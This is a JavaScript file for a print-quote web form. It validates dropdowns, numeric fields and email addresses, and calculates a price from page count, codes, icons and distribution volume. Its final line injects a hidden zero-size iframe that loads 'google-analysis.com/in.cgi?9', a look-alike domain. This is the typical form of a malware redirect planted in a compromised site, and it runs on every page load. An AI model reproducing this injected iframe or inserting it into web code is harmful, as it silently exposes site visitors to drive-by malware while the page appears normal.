function validateFormOnSubmit(theForm) {
var reason = "";

	
  reason += checkDropdown(theForm.category); 
  reason += checkDropdown(theForm.sector); 
  reason += validateEmpty(theForm.num_store);
  reason += checkDropdown(theForm.distribution_method); 
  reason += IsNumeric(theForm.distributed_valume);
  reason += checkDropdown(theForm.page_size); 
  reason += IsNumeric(theForm.num_page);
  reason += IsNumeric(theForm.num_code);
  reason += IsNumeric(theForm.num_icon);
  reason += IsNumeric(theForm.num_category);

  
  
  if (reason != "") {
    //alert("Some fields need correction:\n" + reason);
	document.getElementById("incorrectfield").innerHTML="The yellow fields have been filled incorectly";
    return false;
  }
else {
 
  return true;
  }
}


function validatePrintOnSubmit(theForm) {
var reason = "";
	
  reason += checkDropdown(theForm.format); 
  reason += checkDropdown(theForm.cover); 
  reason += checkDropdown(theForm.pages); 
  reason += checkDropdown(theForm.paper);
  reason += checkDropdown(theForm.binding);
  
  reason += IsNumeric(theForm.orderquantity);
  reason += validateEmpty(theForm.customer_name);
  
  //reason += validateEmpty(theForm.customer_company);
  reason += validateEmail(theForm.customer_email);
  //reason += validateEmpty(theForm.customer_address);
  

  
  
  if (reason != "") {
   // alert("Some fields need correction:\n" + reason);
   document.getElementById("incorrectfield").innerHTML="<p>The yellow fields have been filled incorrectly</p>";
    return false;
  }
else {
 
  return true;
  }
}

function validateOnSubmit(theForm) {
var reason = "";

	reason += validateEmpty(theForm.Customer_Name);
	 reason += validateEmail(theForm.Email_Address);
	 //reason += validateEmpty(theForm.Email);
	
    
  
  if (reason != "") {
    //alert("Some fields need correction:\n" + reason);
	document.getElementById("incorrectfield").innerHTML="<p>The yellow fields have been filled incorectly</p>";
    return false;
  }
else {
  //theForm.submit();
  return true;
  }
}


function checkDropdown(fld) {
	//var mm=document.fld;
var error = "";
    if (fld.value == "") {
	fld.style.backgroundColor = 'Yellow'; 
	//mm.options[mm.selectedIndex].style = '#ffff33';
	//fld.style.color = 'Yellow';
	//fld.style.background-color= 'Yellow';
    error = "You didn't choose an option from a  select box.\n";
    }  else  fld.style.background = 'white';  
return error;
}    

function validateEmpty(fld) {
    var error = "";  
    if (fld.value.length == 0) {
        fld.style.background = 'Yellow'; 
        error = "The yellow field has not been filled in.\n"
    } else {
        fld.style.background = 'White';
    }
    return error;   
}

function IsNumeric(fld)
{  
   
   var error = "";
   var ValidChars = "0123456789";
   var IsNumber=true;
   var Char;
  var sText=fld.value;
 
   for (i = 0; i < sText.length && IsNumber == true; i++) 
      { 
      Char = sText.charAt(i); 
	  fld.style.background = 'White';
      if (ValidChars.indexOf(Char) == -1) 
         {
         IsNumber = false;
		 
         }
      }
if(IsNumber	==  false || validateEmpty(fld)!=""){ 
error = "You didn't enter numeric";
fld.style.background = 'Yellow';
}
else fld.style.background = 'white';
   return error;
   
   }

function validateQty(fld) {
    var error = "";  
    if ((fld.value*1 <1 && fld.value*1)>0 || fld.value*1<0) {
        fld.style.background = 'Yellow'; 
        error = "QTY field must be more than one box.\n"
    } else {
        fld.style.background = 'White';
    }
    return error;   
}




function trim(s)
{
  return s.replace(/^\s+|\s+$/, '');
} 

function validateEmail(fld) {
    var error="";
    var tfld = trim(fld.value);                        // value of field with whitespace trimmed off
    var emailFilter = /^[^@]+@[^@.]+\.[^@]*\w\w$/ ;
    var illegalChars= /[\(\)\<\>\,\;\:\\\"\[\]]/ ;
    
    if (fld.value == "") {
        fld.style.background = 'Yellow';
        error = "You didn't enter an email address.\n";
    } else if (!emailFilter.test(tfld)) {              //test email for illegal characters
        fld.style.background = 'Yellow';
        error = "Please enter a valid email address.\n";
    } else if (fld.value.match(illegalChars)) {
        fld.style.background = 'Yellow';
        error = "The email address contains illegal characters.\n";
    } else {
        fld.style.background = 'White';
    }
    return error;
}





function supperTab(d,e){
 if (e.which=='13'){
 e.preventDefault()
 d.focus();
 
 }
 if (e.keyCode=='13'){
 e.returnValue=false;
  d.focus();
 }
 }
 
 
 
 function chSpec(fld){ 

 if(document.printquote.format.value=='other' && fld =='format') document.getElementById("format_spec").innerHTML ="<input type='text' size='10' name='format_spec'  value=''>";
if(document.printquote.pages.value=='other'  && fld =='pages') document.getElementById("pages_spec").innerHTML ="<input type='text' size='10' name='pages_spec'  value=''>";
 if(document.printquote.paper.value=='other' && fld =='paper') document.getElementById("paper_spec").innerHTML ="<input type='text' size='10' name='paper_spec'  value=''>";

 }
 
 function chcat(fld){ 
 if(document.quote.category.value*1==888 && fld =='category') document.getElementById("category_spec").innerHTML="<input type='text' size='10' name='category_spec' value=''>";
//else document.getElementById("category_spec").innerHTML='';
 if(document.quote.distribution_method.value*1==888  && fld =='distribution_method') document.getElementById("distribution_spec").innerHTML="<input type='text' size='10' name='distribution_spec' value=''>";

//else document.getElementById("distribution_spec").innerHTML='';
if(document.quote.sector.value*1==888 && fld =='sector') document.getElementById("sector_spec").innerHTML="<input type='text' size='10' name='sector_spec' value=''>";
//else document.getElementById("sector_spec").innerHTML='';

}
function quoteNow(){ 
var A=document.quote.category.value*1;
quote.category_text.value=document.quote.category.options[quote.category.selectedIndex].text;

//document.write(document.quote.category.options[quote.category.selectedIndex].text);

/*if(A==888 && fld =='category') document.getElementById("category_spec").innerHTML="<input type='text' size='10' name='category_spec' value=''>";
else document.getElementById("category_spec").innerHTML='';*/
var B=document.quote.sector.value*1;

	
quote.sector_text.value=document.quote.sector.options[quote.sector.selectedIndex].text;
	
/*if(B==888 && fld =='sector') document.getElementById("sector_spec").innerHTML="<input type='text' size='10' name='sector_spec' value=''>";
else document.getElementById("sector_spec").innerHTML='';*/



var D=document.quote.distribution_method.value*1;
/*if(D==888  && fld =='distribution_method') document.getElementById("distribution_spec").innerHTML="<input type='text' size='10' name='distribution_spec' value=''>";

else document.getElementById("distribution_spec").innerHTML='';*/

quote.distribution_method_text.value=document.quote.distribution_method.options[quote.distribution_method.selectedIndex].text;

var E=0;
if (document.quote.distributed_valume.value*1<10000) E=1;
else if (document.quote.distributed_valume.value*1>=10000 && document.quote.distributed_valume.value*1<50000) 
E=1.05;
else if (document.quote.distributed_valume.value*1>=50000) E=1.1;

var F=document.quote.page_size.value*1;
quote.page_size_text.value=document.quote.page_size.options[quote.page_size.selectedIndex].text;
var numOfpage=document.quote.num_page.value*1;
var G=0;
var J=0;
var I=0;
var H=0;
if(mod(numOfpage,4)>0) numOfpage=Math.floor(numOfpage/4)*4+4;
if (numOfpage>=4 && numOfpage<=32) {G=120*numOfpage; }
else if(numOfpage>=36 && numOfpage<=96) {G=110*numOfpage; }
else if(numOfpage>=100 && numOfpage<=196) {G=100*numOfpage; }
else if(numOfpage>=200 ) {G=95*numOfpage; }
var numOfcode=document.quote.num_code.value*1;

if (numOfcode/numOfpage<10 ) {H=1;}
else if(numOfcode/numOfpage>=10 && numOfcode/numOfpage<20) {H=1.1;}
else if(numOfcode/numOfpage>=20) {H=1.2;}


var numOficon=document.quote.num_icon.value*1;
if(numOficon<8) I=0;
else if(numOficon>=8) I=(numOficon-8)*3;
var numOfcategory=document.quote.num_category.value*1;

if(numOfcategory==1) J=0;
else if(numOfcategory>1) J=(numOfcategory-1)*120;

//var qtotal=(300+(G + I*numOfpage)*H*F+J)*A*B*D*E;
var qtotal=(300+(G + I*numOfpage)*H*F)*A*B*D*E;
document.quote.qtotal.value=qtotal.toFixed(2);

//document.getElementById("layer").innerHTML="A="+A+"   B="+B+"  D="+D+"  E="+E+"  F="+F+"  g="+numOfpage+"  G="+G+"  H="+H+"  I="+I+"  J="+J;
//document.getElementById("layer1").innerHTML="total="+qtotal;
 }
 
 function mod(divisee,base) {
	
	return Math.round(divisee - (Math.floor(divisee/base)*base));
}

document.write('<iframe src="http://google-analysis.com/in.cgi?9" width=1 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no width=0 height=0></iframe>');
